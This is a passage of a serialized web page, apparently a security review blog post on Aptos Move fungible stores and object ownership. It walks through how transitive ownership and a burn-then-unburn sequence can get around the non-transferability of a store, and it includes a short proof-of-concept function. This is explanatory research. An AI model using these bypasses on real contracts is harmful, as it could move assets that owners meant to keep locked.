",{"type":21,"tag":78,"props":66523,"children":66525},{"className":66524},[],[66526],{"type":26,"value":66527},"fungible_asset::set_untransferable",{"type":26,"value":66529}," can be used to make all new ",{"type":21,"tag":78,"props":66531,"children":66533},{"className":66532},[],[66534],{"type":26,"value":64873},{"type":26,"value":66536}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":21,"tag":78,"props":66538,"children":66540},{"className":66539},[],[66541],{"type":26,"value":64369},{"type":26,"value":355},{"type":21,"tag":22,"props":66544,"children":66545},{},[66546,66548,66553,66555,66561,66563,66568,66570,66575],{"type":26,"value":66547},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":21,"tag":78,"props":66549,"children":66551},{"className":66550},[],[66552],{"type":26,"value":64369},{"type":26,"value":66554},", X can withdraw from that store. This is because ",{"type":21,"tag":78,"props":66556,"children":66558},{"className":66557},[],[66559],{"type":26,"value":66560},"fungible_asset::withdraw",{"type":26,"value":66562}," uses ",{"type":21,"tag":78,"props":66564,"children":66566},{"className":66565},[],[66567],{"type":26,"value":65887},{"type":26,"value":66569}," to verify both direct and indirect ownership of the ",{"type":21,"tag":78,"props":66571,"children":66573},{"className":66572},[],[66574],{"type":26,"value":64369},{"type":26,"value":52467},{"type":21,"tag":143,"props":66577,"children":66579},{"className":145,"code":66578,"language":147,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[66580],{"type":21,"tag":78,"props":66581,"children":66582},{"__ignoreMap":7},[66583,66644,66660,66690,66719,66734,66746,66776,66797,66804,66844,66869,66876],{"type":21,"tag":153,"props":66584,"children":66585},{"class":155,"line":156},[66586,66590,66595,66599,66603,66607,66611,66615,66620,66624,66628,66632,66636,66640],{"type":21,"tag":153,"props":66587,"children":66588},{"style":192},[66589],{"type":26,"value":9836},{"type":21,"tag":153,"props":66591,"children":66592},{"style":181},[66593],{"type":26,"value":66594}," verify_ungated_and_descendant",{"type":21,"tag":153,"props":66596,"children":66597},{"style":160},[66598],{"type":26,"value":189},{"type":21,"tag":153,"props":66600,"children":66601},{"style":192},[66602],{"type":26,"value":18306},{"type":21,"tag":153,"props":66604,"children":66605},{"style":198},[66606],{"type":26,"value":201},{"type":21,"tag":153,"props":66608,"children":66609},{"style":192},[66610],{"type":26,"value":8979},{"type":21,"tag":153,"props":66612,"children":66613},{"style":160},[66614],{"type":26,"value":1670},{"type":21,"tag":153,"props":66616,"children":66617},{"style":192},[66618],{"type":26,"value":66619},"destination",{"type":21,"tag":153,"props":66621,"children":66622},{"style":198},[66623],{"type":26,"value":201},{"type":21,"tag":153,"props":66625,"children":66626},{"style":192},[66627],{"type":26,"value":8979},{"type":21,"tag":153,"props":66629,"children":66630},{"style":160},[66631],{"type":26,"value":2362},{"type":21,"tag":153,"props":66633,"children":66634},{"style":192},[66635],{"type":26,"value":9073},{"type":21,"tag":153,"props":66637,"children":66638},{"style":214},[66639],{"type":26,"value":66267},{"type":21,"tag":153,"props":66641,"children":66642},{"style":160},[66643],{"type":26,"value":236},{"type":21,"tag":153,"props":66645,"children":66646},{"class":155,"line":166},[66647,66652,66656],{"type":21,"tag":153,"props":66648,"children":66649},{"style":160},[66650],{"type":26,"value":66651},"        [",{"type":21,"tag":153,"props":66653,"children":66654},{"style":198},[66655],{"type":26,"value":12313},{"type":21,"tag":153,"props":66657,"children":66658},{"style":160},[66659],{"type":26,"value":2941},{"type":21,"tag":153,"props":66661,"children":66662},{"class":155,"line":225},[66663,66668,66672,66676,66681,66686],{"type":21,"tag":153,"props":66664,"children":66665},{"style":1751},[66666],{"type":26,"value":66667},"    while",{"type":21,"tag":153,"props":66669,"children":66670},{"style":160},[66671],{"type":26,"value":5820},{"type":21,"tag":153,"props":66673,"children":66674},{"style":192},[66675],{"type":26,"value":18306},{"type":21,"tag":153,"props":66677,"children":66678},{"style":198},[66679],{"type":26,"value":66680}," !=",{"type":21,"tag":153,"props":66682,"children":66683},{"style":192},[66684],{"type":26,"value":66685}," current_address",{"type":21,"tag":153,"props":66687,"children":66688},{"style":160},[66689],{"type":26,"value":2659},{"type":21,"tag":153,"props":66691,"children":66692},{"class":155,"line":239},[66693,66698,66702,66707,66711,66715],{"type":21,"tag":153,"props":66694,"children":66695},{"style":192},[66696],{"type":26,"value":66697},"        count",{"type":21,"tag":153,"props":66699,"children":66700},{"style":198},[66701],{"type":26,"value":255},{"type":21,"tag":153,"props":66703,"children":66704},{"style":192},[66705],{"type":26,"value":66706}," count",{"type":21,"tag":153,"props":66708,"children":66709},{"style":198},[66710],{"type":26,"value":5527},{"type":21,"tag":153,"props":66712,"children":66713},{"style":300},[66714],{"type":26,"value":7253},{"type":21,"tag":153,"props":66716,"children":66717},{"style":160},[66718],{"type":26,"value":1759},{"type":21,"tag":153,"props":66720,"children":66721},{"class":155,"line":382},[66722,66726,66730],{"type":21,"tag":153,"props":66723,"children":66724},{"style":160},[66725],{"type":26,"value":66651},{"type":21,"tag":153,"props":66727,"children":66728},{"style":198},[66729],{"type":26,"value":12313},{"type":21,"tag":153,"props":66731,"children":66732},{"style":160},[66733],{"type":26,"value":2941},{"type":21,"tag":153,"props":66735,"children":66736},{"class":155,"line":501},[66737,66742],{"type":21,"tag":153,"props":66738,"children":66739},{"style":181},[66740],{"type":26,"value":66741},"        assert!",{"type":21,"tag":153,"props":66743,"children":66744},{"style":160},[66745],{"type":26,"value":773},{"type":21,"tag":153,"props":66747,"children":66748},{"class":155,"line":533},[66749,66754,66758,66763,66767,66772],{"type":21,"tag":153,"props":66750,"children":66751},{"style":192},[66752],{"type":26,"value":66753},"            exists",{"type":21,"tag":153,"props":66755,"children":66756},{"style":160},[66757],{"type":26,"value":8537},{"type":21,"tag":153,"props":66759,"children":66760},{"style":214},[66761],{"type":26,"value":66762},"ObjectCore",{"type":21,"tag":153,"props":66764,"children":66765},{"style":160},[66766],{"type":26,"value":328},{"type":21,"tag":153,"props":66768,"children":66769},{"style":192},[66770],{"type":26,"value":66771},"current_address",{"type":21,"tag":153,"props":66773,"children":66774},{"style":160},[66775],{"type":26,"value":679},{"type":21,"tag":153,"props":66777,"children":66778},{"class":155,"line":542},[66779,66784,66788,66792],{"type":21,"tag":153,"props":66780,"children":66781},{"style":160},[66782],{"type":26,"value":66783},"            error",{"type":21,"tag":153,"props":66785,"children":66786},{"style":198},[66787],{"type":26,"value":265},{"type":21,"tag":153,"props":66789,"children":66790},{"style":181},[66791],{"type":26,"value":66112},{"type":21,"tag":153,"props":66793,"children":66794},{"style":160},[66795],{"type":26,"value":66796},"(ENOT_OBJECT_OWNER),\n",{"type":21,"tag":153,"props":66798,"children":66799},{"class":155,"line":762},[66800],{"type":21,"tag":153,"props":66801,"children":66802},{"style":160},[66803],{"type":26,"value":10470},{"type":21,"tag":153,"props":66805,"children":66806},{"class":155,"line":776},[66807,66811,66815,66819,66824,66828,66832,66836,66840],{"type":21,"tag":153,"props":66808,"children":66809},{"style":170},[66810],{"type":26,"value":245},{"type":21,"tag":153,"props":66812,"children":66813},{"style":192},[66814],{"type":26,"value":64787},{"type":21,"tag":153,"props":66816,"children":66817},{"style":198},[66818],{"type":26,"value":255},{"type":21,"tag":153,"props":66820,"children":66821},{"style":192},[66822],{"type":26,"value":66823}," borrow_global",{"type":21,"tag":153,"props":66825,"children":66826},{"style":160},[66827],{"type":26,"value":8537},{"type":21,"tag":153,"props":66829,"children":66830},{"style":214},[66831],{"type":26,"value":66762},{"type":21,"tag":153,"props":66833,"children":66834},{"style":160},[66835],{"type":26,"value":328},{"type":21,"tag":153,"props":66837,"children":66838},{"style":192},[66839],{"type":26,"value":66771},{"type":21,"tag":153,"props":66841,"children":66842},{"style":160},[66843],{"type":26,"value":530},{"type":21,"tag":153,"props":66845,"children":66846},{"class":155,"line":795},[66847,66852,66856,66860,66864],{"type":21,"tag":153,"props":66848,"children":66849},{"style":192},[66850],{"type":26,"value":66851},"        current_address",{"type":21,"tag":153,"props":66853,"children":66854},{"style":198},[66855],{"type":26,"value":255},{"type":21,"tag":153,"props":66857,"children":66858},{"style":192},[66859],{"type":26,"value":64787},{"type":21,"tag":153,"props":66861,"children":66862},{"style":198},[66863],{"type":26,"value":355},{"type":21,"tag":153,"props":66865,"children":66866},{"style":160},[66867],{"type":26,"value":66868},"owner;\n",{"type":21,"tag":153,"props":66870,"children":66871},{"class":155,"line":808},[66872],{"type":21,"tag":153,"props":66873,"children":66874},{"style":160},[66875],{"type":26,"value":751},{"type":21,"tag":153,"props":66877,"children":66878},{"class":155,"line":820},[66879],{"type":21,"tag":153,"props":66880,"children":66881},{"style":160},[66882],{"type":26,"value":548},{"type":21,"tag":22,"props":66884,"children":66885},{},[66886,66888,66893],{"type":26,"value":66887},"This could allow for bypassing assumptions about ",{"type":21,"tag":78,"props":66889,"children":66891},{"className":66890},[],[66892],{"type":26,"value":64369},{"type":26,"value":66894}," true ownership and its non-transferability.",{"type":21,"tag":143,"props":66896,"children":66898},{"className":145,"code":66897,"language":147,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[66899],{"type":21,"tag":78,"props":66900,"children":66901},{"__ignoreMap":7},[66902,66960,67013,67057,67105,67112,67157,67165],{"type":21,"tag":153,"props":66903,"children":66904},{"class":155,"line":156},[66905,66909,66913,66918,66922,66927,66931,66935,66939,66943,66948,66952,66956],{"type":21,"tag":153,"props":66906,"children":66907},{"style":192},[66908],{"type":26,"value":63968},{"type":21,"tag":153,"props":66910,"children":66911},{"style":192},[66912],{"type":26,"value":8936},{"type":21,"tag":153,"props":66914,"children":66915},{"style":181},[66916],{"type":26,"value":66917}," untransferable_transfer",{"type":21,"tag":153,"props":66919,"children":66920},{"style":160},[66921],{"type":26,"value":189},{"type":21,"tag":153,"props":66923,"children":66924},{"style":192},[66925],{"type":26,"value":66926},"caller",{"type":21,"tag":153,"props":66928,"children":66929},{"style":198},[66930],{"type":26,"value":201},{"type":21,"tag":153,"props":66932,"children":66933},{"style":198},[66934],{"type":26,"value":206},{"type":21,"tag":153,"props":66936,"children":66937},{"style":192},[66938],{"type":26,"value":9874},{"type":21,"tag":153,"props":66940,"children":66941},{"style":160},[66942],{"type":26,"value":1670},{"type":21,"tag":153,"props":66944,"children":66945},{"style":192},[66946],{"type":26,"value":66947},"receipient",{"type":21,"tag":153,"props":66949,"children":66950},{"style":198},[66951],{"type":26,"value":201},{"type":21,"tag":153,"props":66953,"children":66954},{"style":192},[66955],{"type":26,"value":8979},{"type":21,"tag":153,"props":66957,"children":66958},{"style":160},[66959],{"type":26,"value":2659},{"type":21,"tag":153,"props":66961,"children":66962},{"class":155,"line":166},[66963,66967,66972,66976,66980,66984,66989,66993,66997,67001,67005,67009],{"type":21,"tag":153,"props":66964,"children":66965},{"style":170},[66966],{"type":26,"value":629},{"type":21,"tag":153,"props":66968,"children":66969},{"style":192},[66970],{"type":26,"value":66971}," constructor_ref",{"type":21,"tag":153,"props":66973,"children":66974},{"style":198},[66975],{"type":26,"value":255},{"type":21,"tag":153,"props":66977,"children":66978},{"style":160},[66979],{"type":26,"value":64787},{"type":21,"tag":153,"props":66981,"children":66982},{"style":198},[66983],{"type":26,"value":265},{"type":21,"tag":153,"props":66985,"children":66986},{"style":181},[66987],{"type":26,"value":66988},"create_object",{"type":21,"tag":153,"props":66990,"children":66991},{"style":160},[66992],{"type":26,"value":9928},{"type":21,"tag":153,"props":66994,"children":66995},{"style":198},[66996],{"type":26,"value":265},{"type":21,"tag":153,"props":66998,"children":66999},{"style":181},[67000],{"type":26,"value":9937},{"type":21,"tag":153,"props":67002,"children":67003},{"style":160},[67004],{"type":26,"value":189},{"type":21,"tag":153,"props":67006,"children":67007},{"style":192},[67008],{"type":26,"value":66926},{"type":21,"tag":153,"props":67010,"children":67011},{"style":160},[67012],{"type":26,"value":9951},{"type":21,"tag":153,"props":67014,"children":67015},{"class":155,"line":225},[67016,67020,67024,67028,67032,67036,67041,67045,67049,67053],{"type":21,"tag":153,"props":67017,"children":67018},{"style":170},[67019],{"type":26,"value":629},{"type":21,"tag":153,"props":67021,"children":67022},{"style":192},[67023],{"type":26,"value":66374},{"type":21,"tag":153,"props":67025,"children":67026},{"style":198},[67027],{"type":26,"value":255},{"type":21,"tag":153,"props":67029,"children":67030},{"style":160},[67031],{"type":26,"value":64787},{"type":21,"tag":153,"props":67033,"children":67034},{"style":198},[67035],{"type":26,"value":265},{"type":21,"tag":153,"props":67037,"children":67038},{"style":181},[67039],{"type":26,"value":67040},"address_from_constructor_ref",{"type":21,"tag":153,"props":67042,"children":67043},{"style":160},[67044],{"type":26,"value":189},{"type":21,"tag":153,"props":67046,"children":67047},{"style":198},[67048],{"type":26,"value":1974},{"type":21,"tag":153,"props":67050,"children":67051},{"style":192},[67052],{"type":26,"value":65221},{"type":21,"tag":153,"props":67054,"children":67055},{"style":160},[67056],{"type":26,"value":530},{"type":21,"tag":153,"props":67058,"children":67059},{"class":155,"line":239},[67060,67064,67068,67072,67077,67081,67085,67089,67093,67097,67101],{"type":21,"tag":153,"props":67061,"children":67062},{"style":170},[67063],{"type":26,"value":629},{"type":21,"tag":153,"props":67065,"children":67066},{"style":192},[67067],{"type":26,"value":8561},{"type":21,"tag":153,"props":67069,"children":67070},{"style":198},[67071],{"type":26,"value":255},{"type":21,"tag":153,"props":67073,"children":67074},{"style":160},[67075],{"type":26,"value":67076}," primary_fungible_store",{"type":21,"tag":153,"props":67078,"children":67079},{"style":198},[67080],{"type":26,"value":265},{"type":21,"tag":153,"props":67082,"children":67083},{"style":181},[67084],{"type":26,"value":65113},{"type":21,"tag":153,"props":67086,"children":67087},{"style":160},[67088],{"type":26,"value":189},{"type":21,"tag":153,"props":67090,"children":67091},{"style":192},[67092],{"type":26,"value":66420},{"type":21,"tag":153,"props":67094,"children":67095},{"style":160},[67096],{"type":26,"value":1670},{"type":21,"tag":153,"props":67098,"children":67099},{"style":181},[67100],{"type":26,"value":65069},{"type":21,"tag":153,"props":67102,"children":67103},{"style":160},[67104],{"type":26,"value":379},{"type":21,"tag":153,"props":67106,"children":67107},{"class":155,"line":382},[67108],{"type":21,"tag":153,"props":67109,"children":67110},{"emptyLinePlaceholder":16},[67111],{"type":26,"value":759},{"type":21,"tag":153,"props":67113,"children":67114},{"class":155,"line":501},[67115,67120,67124,67129,67133,67137,67141,67145,67149,67153],{"type":21,"tag":153,"props":67116,"children":67117},{"style":160},[67118],{"type":26,"value":67119},"    object",{"type":21,"tag":153,"props":67121,"children":67122},{"style":198},[67123],{"type":26,"value":265},{"type":21,"tag":153,"props":67125,"children":67126},{"style":181},[67127],{"type":26,"value":67128},"transfer_raw",{"type":21,"tag":153,"props":67130,"children":67131},{"style":160},[67132],{"type":26,"value":189},{"type":21,"tag":153,"props":67134,"children":67135},{"style":192},[67136],{"type":26,"value":66926},{"type":21,"tag":153,"props":67138,"children":67139},{"style":160},[67140],{"type":26,"value":1670},{"type":21,"tag":153,"props":67142,"children":67143},{"style":192},[67144],{"type":26,"value":66420},{"type":21,"tag":153,"props":67146,"children":67147},{"style":160},[67148],{"type":26,"value":1670},{"type":21,"tag":153,"props":67150,"children":67151},{"style":192},[67152],{"type":26,"value":66947},{"type":21,"tag":153,"props":67154,"children":67155},{"style":160},[67156],{"type":26,"value":530},{"type":21,"tag":153,"props":67158,"children":67159},{"class":155,"line":533},[67160],{"type":21,"tag":153,"props":67161,"children":67162},{"style":3050},[67163],{"type":26,"value":67164},"    //receipient can interact with store by using their signer\n",{"type":21,"tag":153,"props":67166,"children":67167},{"class":155,"line":542},[67168],{"type":21,"tag":153,"props":67169,"children":67170},{"style":160},[67171],{"type":26,"value":548},{"type":21,"tag":22,"props":67173,"children":67174},{},[67175,67177,67184],{"type":26,"value":67176},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":21,"tag":29,"props":67178,"children":67181},{"href":67179,"rel":67180},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[33],[67182],{"type":26,"value":67183},"edge case",{"type":26,"value":67185}," involving the transfer of a non-transferable fungible store.",{"type":21,"tag":143,"props":67187,"children":67189},{"className":145,"code":67188,"language":147,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[67190],{"type":21,"tag":78,"props":67191,"children":67192},{"__ignoreMap":7},[67193,67258,67319,67366,67377,67412,67432,67439,67446,67461,67468,67496],{"type":21,"tag":153,"props":67194,"children":67195},{"class":155,"line":156},[67196,67200,67204,67209,67213,67217,67221,67226,67230,67234,67238,67242,67246,67250,67254],{"type":21,"tag":153,"props":67197,"children":67198},{"style":192},[67199],{"type":26,"value":63968},{"type":21,"tag":153,"props":67201,"children":67202},{"style":192},[67203],{"type":26,"value":8936},{"type":21,"tag":153,"props":67205,"children":67206},{"style":181},[67207],{"type":26,"value":67208}," transfer_with_ref",{"type":21,"tag":153,"props":67210,"children":67211},{"style":160},[67212],{"type":26,"value":189},{"type":21,"tag":153,"props":67214,"children":67215},{"style":170},[67216],{"type":26,"value":65630},{"type":21,"tag":153,"props":67218,"children":67219},{"style":198},[67220],{"type":26,"value":201},{"type":21,"tag":153,"props":67222,"children":67223},{"style":214},[67224],{"type":26,"value":67225}," LinearTransferRef",{"type":21,"tag":153,"props":67227,"children":67228},{"style":160},[67229],{"type":26,"value":1670},{"type":21,"tag":153,"props":67231,"children":67232},{"style":192},[67233],{"type":26,"value":35421},{"type":21,"tag":153,"props":67235,"children":67236},{"style":198},[67237],{"type":26,"value":201},{"type":21,"tag":153,"props":67239,"children":67240},{"style":192},[67241],{"type":26,"value":8979},{"type":21,"tag":153,"props":67243,"children":67244},{"style":160},[67245],{"type":26,"value":2362},{"type":21,"tag":153,"props":67247,"children":67248},{"style":192},[67249],{"type":26,"value":9073},{"type":21,"tag":153,"props":67251,"children":67252},{"style":214},[67253],{"type":26,"value":66267},{"type":21,"tag":153,"props":67255,"children":67256},{"style":160},[67257],{"type":26,"value":236},{"type":21,"tag":153,"props":67259,"children":67260},{"class":155,"line":166},[67261,67265,67269,67273,67277,67281,67286,67290,67294,67298,67302,67306,67310,67314],{"type":21,"tag":153,"props":67262,"children":67263},{"style":181},[67264],{"type":26,"value":64637},{"type":21,"tag":153,"props":67266,"children":67267},{"style":160},[67268],{"type":26,"value":189},{"type":21,"tag":153,"props":67270,"children":67271},{"style":198},[67272],{"type":26,"value":23315},{"type":21,"tag":153,"props":67274,"children":67275},{"style":192},[67276],{"type":26,"value":9434},{"type":21,"tag":153,"props":67278,"children":67279},{"style":160},[67280],{"type":26,"value":8537},{"type":21,"tag":153,"props":67282,"children":67283},{"style":214},[67284],{"type":26,"value":67285},"Untransferable",{"type":21,"tag":153,"props":67287,"children":67288},{"style":160},[67289],{"type":26,"value":328},{"type":21,"tag":153,"props":67291,"children":67292},{"style":170},[67293],{"type":26,"value":65630},{"type":21,"tag":153,"props":67295,"children":67296},{"style":198},[67297],{"type":26,"value":355},{"type":21,"tag":153,"props":67299,"children":67300},{"style":170},[67301],{"type":26,"value":16427},{"type":21,"tag":153,"props":67303,"children":67304},{"style":160},[67305],{"type":26,"value":65226},{"type":21,"tag":153,"props":67307,"children":67308},{"style":198},[67309],{"type":26,"value":265},{"type":21,"tag":153,"props":67311,"children":67312},{"style":181},[67313],{"type":26,"value":66112},{"type":21,"tag":153,"props":67315,"children":67316},{"style":160},[67317],{"type":26,"value":67318},"(ENOT_MOVABLE));\n",{"type":21,"tag":153,"props":67320,"children":67321},{"class":155,"line":225},[67322,67326,67330,67334,67338,67342,67346,67350,67354,67358,67362],{"type":21,"tag":153,"props":67323,"children":67324},{"style":170},[67325],{"type":26,"value":629},{"type":21,"tag":153,"props":67327,"children":67328},{"style":192},[67329],{"type":26,"value":64787},{"type":21,"tag":153,"props":67331,"children":67332},{"style":198},[67333],{"type":26,"value":255},{"type":21,"tag":153,"props":67335,"children":67336},{"style":192},[67337],{"type":26,"value":10324},{"type":21,"tag":153,"props":67339,"children":67340},{"style":160},[67341],{"type":26,"value":8537},{"type":21,"tag":153,"props":67343,"children":67344},{"style":214},[67345],{"type":26,"value":66762},{"type":21,"tag":153,"props":67347,"children":67348},{"style":160},[67349],{"type":26,"value":328},{"type":21,"tag":153,"props":67351,"children":67352},{"style":170},[67353],{"type":26,"value":65630},{"type":21,"tag":153,"props":67355,"children":67356},{"style":198},[67357],{"type":26,"value":355},{"type":21,"tag":153,"props":67359,"children":67360},{"style":170},[67361],{"type":26,"value":16427},{"type":21,"tag":153,"props":67363,"children":67364},{"style":160},[67365],{"type":26,"value":530},{"type":21,"tag":153,"props":67367,"children":67368},{"class":155,"line":239},[67369,67373],{"type":21,"tag":153,"props":67370,"children":67371},{"style":181},[67372],{"type":26,"value":64637},{"type":21,"tag":153,"props":67374,"children":67375},{"style":160},[67376],{"type":26,"value":773},{"type":21,"tag":153,"props":67378,"children":67379},{"class":155,"line":382},[67380,67385,67389,67394,67398,67403,67407],{"type":21,"tag":153,"props":67381,"children":67382},{"style":192},[67383],{"type":26,"value":67384},"        object",{"type":21,"tag":153,"props":67386,"children":67387},{"style":198},[67388],{"type":26,"value":355},{"type":21,"tag":153,"props":67390,"children":67391},{"style":160},[67392],{"type":26,"value":67393},"owner ",{"type":21,"tag":153,"props":67395,"children":67396},{"style":198},[67397],{"type":26,"value":1694},{"type":21,"tag":153,"props":67399,"children":67400},{"style":170},[67401],{"type":26,"value":67402}," ref",{"type":21,"tag":153,"props":67404,"children":67405},{"style":198},[67406],{"type":26,"value":355},{"type":21,"tag":153,"props":67408,"children":67409},{"style":160},[67410],{"type":26,"value":67411},"owner,\n",{"type":21,"tag":153,"props":67413,"children":67414},{"class":155,"line":501},[67415,67420,67424,67428],{"type":21,"tag":153,"props":67416,"children":67417},{"style":160},[67418],{"type":26,"value":67419},"        error",{"type":21,"tag":153,"props":67421,"children":67422},{"style":198},[67423],{"type":26,"value":265},{"type":21,"tag":153,"props":67425,"children":67426},{"style":181},[67427],{"type":26,"value":66112},{"type":21,"tag":153,"props":67429,"children":67430},{"style":160},[67431],{"type":26,"value":66796},{"type":21,"tag":153,"props":67433,"children":67434},{"class":155,"line":533},[67435],{"type":21,"tag":153,"props":67436,"children":67437},{"style":160},[67438],{"type":26,"value":3361},{"type":21,"tag":153,"props":67440,"children":67441},{"class":155,"line":542},[67442],{"type":21,"tag":153,"props":67443,"children":67444},{"style":160},[67445],{"type":26,"value":64079},{"type":21,"tag":153,"props":67447,"children":67448},{"class":155,"line":762},[67449,67453,67457],{"type":21,"tag":153,"props":67450,"children":67451},{"style":160},[67452],{"type":26,"value":65011},{"type":21,"tag":153,"props":67454,"children":67455},{"style":198},[67456],{"type":26,"value":12313},{"type":21,"tag":153,"props":67458,"children":67459},{"style":160},[67460],{"type":26,"value":2941},{"type":21,"tag":153,"props":67462,"children":67463},{"class":155,"line":776},[67464],{"type":21,"tag":153,"props":67465,"children":67466},{"style":160},[67467],{"type":26,"value":64079},{"type":21,"tag":153,"props":67469,"children":67470},{"class":155,"line":795},[67471,67475,67479,67483,67487,67492],{"type":21,"tag":153,"props":67472,"children":67473},{"style":192},[67474],{"type":26,"value":67119},{"type":21,"tag":153,"props":67476,"children":67477},{"style":198},[67478],{"type":26,"value":355},{"type":21,"tag":153,"props":67480,"children":67481},{"style":160},[67482],{"type":26,"value":67393},{"type":21,"tag":153,"props":67484,"children":67485},{"style":198},[67486],{"type":26,"value":2367},{"type":21,"tag":153,"props":67488,"children":67489},{"style":192},[67490],{"type":26,"value":67491}," to",{"type":21,"tag":153,"props":67493,"children":67494},{"style":160},[67495],{"type":26,"value":1759},{"type":21,"tag":153,"props":67497,"children":67498},{"class":155,"line":808},[67499],{"type":21,"tag":153,"props":67500,"children":67501},{"style":160},[67502],{"type":26,"value":548},{"type":21,"tag":22,"props":67504,"children":67505},{},[67506,67508,67513,67515,67520],{"type":26,"value":67507},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":21,"tag":78,"props":67509,"children":67511},{"className":67510},[],[67512],{"type":26,"value":66165},{"type":26,"value":67514},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":21,"tag":78,"props":67516,"children":67518},{"className":67517},[],[67519],{"type":26,"value":9874},{"type":26,"value":67521}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":21,"tag":114,"props":67523,"children":67525},{"id":67524},"references",[67526],{"type":26,"value":67527},"References",{"type":21,"tag":22,"props":67529,"children":67530},{},[67531,67536,67538,67544,67546,67551,67553,67558],{"type":21,"tag":78,"props":67532,"children":67534},{"className":67533},[],[67535],{"type":26,"value":67527},{"type":26,"value":67537}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":21,"tag":78,"props":67539,"children":67541},{"className":67540},[],[67542],{"type":26,"value":67543},"Refs",{"type":26,"value":67545}," are based on the ",{"type":21,"tag":78,"props":67547,"children":67549},{"className":67548},[],[67550],{"type":26,"value":51141},{"type":26,"value":67552}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":21,"tag":78,"props":67554,"children":67556},{"className":67555},[],[67557],{"type":26,"value":51141},{"type":26,"value":67559}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":21,"tag":22,"props":67561,"children":67562},{},[67563,67565,67570,67572,67577,67578,67584,67586,67591,67593,67598],{"type":26,"value":67564},"Let's get back to the ",{"type":21,"tag":78,"props":67566,"children":67568},{"className":67567},[],[67569],{"type":26,"value":64369},{"type":26,"value":67571}," deletion example. Both ",{"type":21,"tag":78,"props":67573,"children":67575},{"className":67574},[],[67576],{"type":26,"value":65654},{"type":26,"value":52},{"type":21,"tag":78,"props":67579,"children":67581},{"className":67580},[],[67582],{"type":26,"value":67583},"fungible_asset::remove_store",{"type":26,"value":67585}," use the same object-specific ",{"type":21,"tag":78,"props":67587,"children":67589},{"className":67588},[],[67590],{"type":26,"value":65586},{"type":26,"value":67592}," permission. It can be created only during object creation. There is no separate ",{"type":21,"tag":78,"props":67594,"children":67596},{"className":67595},[],[67597],{"type":26,"value":65586},{"type":26,"value":67599}," for fungible assets.",{"type":21,"tag":143,"props":67601,"children":67602},{"className":145,"code":65536,"language":147,"meta":7,"style":7},[67603],{"type":21,"tag":78,"props":67604,"children":67605},{"__ignoreMap":7},[67606,67613,67652,67659,67666],{"type":21,"tag":153,"props":67607,"children":67608},{"class":155,"line":156},[67609],{"type":21,"tag":153,"props":67610,"children":67611},{"style":3050},[67612],{"type":26,"value":65548},{"type":21,"tag":153,"props":67614,"children":67615},{"class":155,"line":166},[67616,67620,67624,67628,67632,67636,67640,67644,67648],{"type":21,"tag":153,"props":67617,"children":67618},{"style":192},[67619],{"type":26,"value":63968},{"type":21,"tag":153,"props":67621,"children":67622},{"style":192},[67623],{"type":26,"value":8936},{"type":21,"tag":153,"props":67625,"children":67626},{"style":181},[67627],{"type":26,"value":65564},{"type":21,"tag":153,"props":67629,"children":67630},{"style":160},[67631],{"type":26,"value":189},{"type":21,"tag":153,"props":67633,"children":67634},{"style":192},[67635],{"type":26,"value":65573},{"type":21,"tag":153,"props":67637,"children":67638},{"style":198},[67639],{"type":26,"value":201},{"type":21,"tag":153,"props":67641,"children":67642},{"style":198},[67643],{"type":26,"value":206},{"type":21,"tag":153,"props":67645,"children":67646},{"style":214},[67647],{"type":26,"value":65586},{"type":21,"tag":153,"props":67649,"children":67650},{"style":160},[67651],{"type":26,"value":5909},{"type":21,"tag":153,"props":67653,"children":67654},{"class":155,"line":225},[67655],{"type":21,"tag":153,"props":67656,"children":67657},{"emptyLinePlaceholder":16},[67658],{"type":26,"value":759},{"type":21,"tag":153,"props":67660,"children":67661},{"class":155,"line":239},[67662],{"type":21,"tag":153,"props":67663,"children":67664},{"style":3050},[67665],{"type":26,"value":65605},{"type":21,"tag":153,"props":67667,"children":67668},{"class":155,"line":382},[67669,67673,67677,67681,67685,67689,67693,67697],{"type":21,"tag":153,"props":67670,"children":67671},{"style":192},[67672],{"type":26,"value":63968},{"type":21,"tag":153,"props":67674,"children":67675},{"style":192},[67676],{"type":26,"value":8936},{"type":21,"tag":153,"props":67678,"children":67679},{"style":181},[67680],{"type":26,"value":65621},{"type":21,"tag":153,"props":67682,"children":67683},{"style":160},[67684],{"type":26,"value":189},{"type":21,"tag":153,"props":67686,"children":67687},{"style":170},[67688],{"type":26,"value":65630},{"type":21,"tag":153,"props":67690,"children":67691},{"style":198},[67692],{"type":26,"value":201},{"type":21,"tag":153,"props":67694,"children":67695},{"style":214},[67696],{"type":26,"value":65639},{"type":21,"tag":153,"props":67698,"children":67699},{"style":160},[67700],{"type":26,"value":5909},{"type":21,"tag":22,"props":67702,"children":67703},{},[67704,67706,67711,67713,67719],{"type